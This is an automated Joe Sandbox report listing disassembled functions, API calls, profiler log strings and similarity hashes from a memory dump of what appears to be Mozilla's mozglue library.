Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C9EB61E), ref: 6C9EB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB79A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e517d9a7ebd30f646448ab7b2768feba470668973e71cf30c5152fbbd0092bf6
Instruction ID: 2e5cdd3f941ddd327dff8c1f19bf5f7763652626ba42e269db6864bc167f1b68
Opcode Fuzzy Hash: e517d9a7ebd30f646448ab7b2768feba470668973e71cf30c5152fbbd0092bf6
Instruction Fuzzy Hash: EC41D6B2D002199FCB05DF69DC805AEB7B9FF58324F250629E825E7B80E731E9148BD5

Function 6C9EEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CA65104), ref: 6C9EEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9EEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9EEFEC
free.MOZGLUE(?), ref: 6C9EF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9EF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C9EF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9EF065
moz_xmalloc.MOZGLUE ref: 6C9EF072

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ad0564cc2e86a051426425765a14bedc5084c4074cbb76164e1d68605a576719
Instruction ID: 945fdad602a13be53410ae8b460d43e9cae27f06e34a872bd03de225fbf9c7ab
Opcode Fuzzy Hash: ad0564cc2e86a051426425765a14bedc5084c4074cbb76164e1d68605a576719
Instruction Fuzzy Hash: E14109B1E002059FCB08CF68E8815BE7769FF98328B244629E815D7794EB31E915C7E1

Function 6CA5B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA5B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA5B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA5B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA5B5F4
__Init_thread_footer.LIBCMT ref: 6CA5B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA5B61F
std::_Facet_Register.LIBCPMT ref: 6CA5B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5B655

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7280a1a70b85a0700d34336e633d1fe107252a756702a1424bf46c8ff31a5517
Instruction ID: 7d3c4cf432b063e69e167e68cf0f890adb9498a14fce5d74b5ceeadfa540598d
Opcode Fuzzy Hash: 7280a1a70b85a0700d34336e633d1fe107252a756702a1424bf46c8ff31a5517
Instruction Fuzzy Hash: F431C871B00216CBCB08DB56D8545BE77B5FF86325B548619E902D7780DB30A857CF91

Function 6C9FB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA3CC83,?,?,?,?,?,?,?,?,?,6CA3BCAE,?,?,6CA2DC2C), ref: 6C9FB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA3CC83,?,?,?,?,?,?,?,?,?,6CA3BCAE,?,?,6CA2DC2C), ref: 6C9FB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CA3CC83,?,?,?,?,?,?,?,?,?,6CA3BCAE), ref: 6C9FB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CA3CC83,?,?,?,?,?,?,?,?,?,6CA3BCAE,?,?,6CA2DC2C), ref: 6C9FB896

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 06e1fffd4978340aa1834703b95d6f984f9e624ddd6f084c47c725f68e779731
Instruction ID: 800572a3027c5d9836d0f0d2e5b0fa590bc4894824e89ef12f68e45ff22b7695
Opcode Fuzzy Hash: 06e1fffd4978340aa1834703b95d6f984f9e624ddd6f084c47c725f68e779731
Instruction Fuzzy Hash: F2517A75700605CFCB15CF59C484A7ABBF9FF89318F698599E9AA8B341C731E802CB80

Function 6CA31D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA31D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA31BE3,?,?,6CA31D96,00000000), ref: 6CA31D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA31BE3,?,?,6CA31D96,00000000), ref: 6CA31D4C
GetCurrentThreadId.KERNEL32 ref: 6CA31DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA31DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA31DDA

Part of subcall function 6CA31EF0: GetCurrentThreadId.KERNEL32 ref: 6CA31F03
Part of subcall function 6CA31EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA31DF2,00000000,00000000), ref: 6CA31F0C
Part of subcall function 6CA31EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA31F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA31DF4

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: a7bc07a15d4f72971b0bbe1e5d60f1ba6e5bb9223c7107217398b2a6ac68a6eb
Instruction ID: 1ed9cf58140aef764ae8cee8a7102cfd69a0881269a8ed9384e2c7c73b3e8979
Opcode Fuzzy Hash: a7bc07a15d4f72971b0bbe1e5d60f1ba6e5bb9223c7107217398b2a6ac68a6eb
Instruction Fuzzy Hash: 4F417BB56007019FCB14CF29C588B66BBF9FB49354F10852DE95A87B41DB31F855CB90

Function 6C9F38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CA6E220,?,?,?,?,6C9F3899,?), ref: 6C9F38B2
ReleaseSRWLockExclusive.KERNEL32(6CA6E220,?,?,?,6C9F3899,?), ref: 6C9F38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C9F3899,?), ref: 6C9F38F1
RtlFreeHeap.NTDLL ref: 6C9F3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C9F3899,?), ref: 6C9F392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C9F3899,?), ref: 6C9F3943
RtlFreeHeap.NTDLL ref: 6C9F396E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: f6078167b54797fefd0aea93314b12dc121bb373d47dd7914b9af5cdce6575d5
Instruction ID: 8ffc421121a6a33db9acee6794db7ec9dac0be1743072ee2f047e94f2bf6236f
Opcode Fuzzy Hash: f6078167b54797fefd0aea93314b12dc121bb373d47dd7914b9af5cdce6575d5
Instruction Fuzzy Hash: 46210572600714DFD710DF35C880B96B7B9FF45728F158469E96A97B10C738E886CB91

Function 6CA284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA2850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA2851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA2855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA2856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA285AC

Part of subcall function 6CA27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA2767F
Part of subcall function 6CA27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA27693
Part of subcall function 6CA27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA285B2

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e52b5ef747fc8443263bda2f84679e1e30024736d5325d4548cc158ab2b9908b
Instruction ID: 22d9c12cecfceab8e252c4720eb5882119fa4caadb59aea44288710fcd3a6ffa
Opcode Fuzzy Hash: e52b5ef747fc8443263bda2f84679e1e30024736d5325d4548cc158ab2b9908b
Instruction Fuzzy Hash: 3D21AD752007118FDB18DB25C888A6AB7B5FF8430CF18482DE58BC3B41DB39E989CB51

Function 6C9F1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C9F1699
VerSetConditionMask.NTDLL ref: 6C9F16CB
VerSetConditionMask.NTDLL ref: 6C9F16D7
VerSetConditionMask.NTDLL ref: 6C9F16DE
VerSetConditionMask.NTDLL ref: 6C9F16E5
VerSetConditionMask.NTDLL ref: 6C9F16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9F16F9

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: bd8c6cfe259b40cf39138c0b059db29bda686616f85d074c6b593eee43ab7faf
Instruction ID: 655a63174dd84302e9a1fe4b63011ceb1c93859f6214601fcaa2958ceb39b0f1
Opcode Fuzzy Hash: bd8c6cfe259b40cf39138c0b059db29bda686616f85d074c6b593eee43ab7faf
Instruction Fuzzy Hash: FA2102F07403086BEB146A698C89FBFB37CEF96704F008528F6059B6C0C674DD558BA1

Function 6CA2F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA2F598), ref: 6CA2F621

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

GetCurrentThreadId.KERNEL32 ref: 6CA2F637
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000,?,6CA2F598), ref: 6CA2F645
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000,?,6CA2F598), ref: 6CA2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA2F62A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 2156b61f2898ae9f7e701f730195e04b5a51d884f89a61980db878b1329c4bae
Instruction ID: 648e50a3dab2466ef173cab3a33efafcca86873ef85955ab9f15bd3f468627fe
Opcode Fuzzy Hash: 2156b61f2898ae9f7e701f730195e04b5a51d884f89a61980db878b1329c4bae
Instruction Fuzzy Hash: 6D112731305326AFCB08AF1ADD08EF57779FB86758B140019FA0583F01CB35A856CBA0

Function 6C9F1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C9F1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C9F1FFD
__Init_thread_footer.LIBCMT ref: 6C9F2011
FreeLibrary.KERNEL32 ref: 6C9F2059

Strings

CoCreateInstance, xrefs: 6C9F1FF7
combase.dll, xrefs: 6C9F1FD9

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 0c09addd5859aa97f7f968b4c295d5e0be1161d0b0f70e175c033cff628dd014
Instruction ID: 9a31493286e59e5ffdae0bb10c5622a085f7fdd3ebeaed7c6a0a5a25795dc271
Opcode Fuzzy Hash: 0c09addd5859aa97f7f968b4c295d5e0be1161d0b0f70e175c033cff628dd014
Instruction Fuzzy Hash: B01147B5245346EFDF18CF56CC48BA63B79FB46359B048029E91582A80C7319C46DBA1

Function 6C9F0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA1D9F0,00000000), ref: 6C9F0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C9F0F3C
__Init_thread_footer.LIBCMT ref: 6C9F0F50
FreeLibrary.KERNEL32(?,6CA1D9F0,00000000), ref: 6C9F0F86

Strings

CoInitializeEx, xrefs: 6C9F0F36
combase.dll, xrefs: 6C9F0F18

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 768006e41630979d39ff8527ad4fd300fdb80fc30af4f3948e221321f0157dda
Instruction ID: e207a28338442788e83e6a402a03c10a724375f4bc907c6ee4a95c311fa8b06b
Opcode Fuzzy Hash: 768006e41630979d39ff8527ad4fd300fdb80fc30af4f3948e221321f0157dda
Instruction Fuzzy Hash: 591151747093429BEF08CF56CE18B65377DFB4A325F00821EE91592A40D7309857CB66

Function 6CA2F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA2F561

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

GetCurrentThreadId.KERNEL32 ref: 6CA2F577
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2F585
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CA2F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CA2F3A8
[I %d/%d] profiler_resume, xrefs: 6CA2F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA2F56A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 664637e5fe27337b4d55302238f40d564d15be07c74bc834f26ce0d48176f9ad
Instruction ID: 60607069ab5e1e7c6e4e83489706d3a3aadf0b24854962b2cc01f3e4124ce4d9
Opcode Fuzzy Hash: 664637e5fe27337b4d55302238f40d564d15be07c74bc834f26ce0d48176f9ad
Instruction Fuzzy Hash: 9CF0B4757003159FDB046B67EC4CABA777DFB8665DF048119FA0587B01CB35984A8770

Function 6CA2F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
Part of subcall function 6CA29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
Part of subcall function 6CA29420: __Init_thread_footer.LIBCMT ref: 6CA2949F

GetCurrentThreadId.KERNEL32 ref: 6CA2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA2F598), ref: 6CA2F621

Part of subcall function 6CA294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA294EE
Part of subcall function 6CA294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA29508

GetCurrentThreadId.KERNEL32 ref: 6CA2F637
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000,?,6CA2F598), ref: 6CA2F645
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8,?,?,00000000,?,6CA2F598), ref: 6CA2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA2F62A

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

